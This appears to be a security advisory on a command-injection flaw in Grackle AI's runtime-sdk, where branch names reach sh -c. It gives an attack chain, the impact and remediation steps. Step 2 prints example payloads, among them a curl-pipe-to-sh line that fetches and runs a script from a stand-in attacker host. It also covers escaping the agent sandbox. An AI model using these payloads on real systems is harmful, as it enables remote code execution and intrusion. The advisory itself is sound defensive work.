Attack Chain

1. An attacker gains the ability to make calls to the PowerLine SpawnSession gRPC RPC. This could be through a compromised agent within the victim's environment, a malicious internal actor, or by exploiting another external vulnerability that exposes this RPC.
2. The attacker crafts a Git branch name containing shell metacharacters and arbitrary commands, for example, x;curl http://attacker/x.sh|sh;# or $(touch /tmp/pwned).
3. The attacker sends a SpawnSession gRPC request to the PowerLine server, providing the crafted malicious branch name as a parameter within the request payload.
4. The vulnerable ensureWorktree function, located in packages/runtime-sdk/src/worktree.ts, prepares to execute a git worktree add command using the NODE_GIT_EXECUTOR.exec function.
5. Due to the shell:true option being implicitly passed to NODE_GIT_EXECUTOR.exec, Node.js concatenates the git command and its arguments (including the malicious branch name) into a single string.
6. This concatenated string is then passed to sh -c, which interprets the shell metacharacters and executes the attacker's injected commands embedded within the branch name.
7. The injected commands (e.g., curl to download and execute a malicious script, touch for arbitrary file creation) are executed by the sh -c process with the privileges of the PowerLine user.
8. The attacker successfully achieves remote code execution, gaining control over the targeted provisioned environment (SSH host, Docker container, or Codespace) as the PowerLine user.

Impact

Successful exploitation of this vulnerability leads to remote code execution (RCE) with the privileges of the PowerLine user on any provisioned environment where the Grackle AI runtime is deployed. This allows attackers to escape the agent sandbox, gain full control over the affected host (be it an SSH host, Docker container, or Codespace), and potentially access sensitive data, escalate privileges, or establish persistence within the victim's infrastructure. While no specific victim count or targeted sectors are mentioned, any organization utilizing Grackle AI's runtime-sdk in their development or deployment pipelines is at risk.

Recommendation

• Prioritize patching the affected Grackle AI components to address GHSA-vv65-f55v-xm6g by updating @grackle-ai/runtime-sdk and @grackle-ai/powerline beyond version 0.132.1.
• Deploy the Sigma rule "Detect GHSA-vv65-f55v-xm6g Grackle AI RCE via Git Worktree Injection" to your SIEM and tune for your environment to identify potential exploitation attempts.
• Review the remediation steps for GHSA-vv65-f55v-xm6g which include removing shell:true from NODE_GIT_EXECUTOR and adding -- separators for git worktree add invocations.
• Implement defense-in-depth measures by validating the branch parameter at the gRPC boundary in grpc-server.ts to reject names containing shell metacharacters or invalid Git ref rules.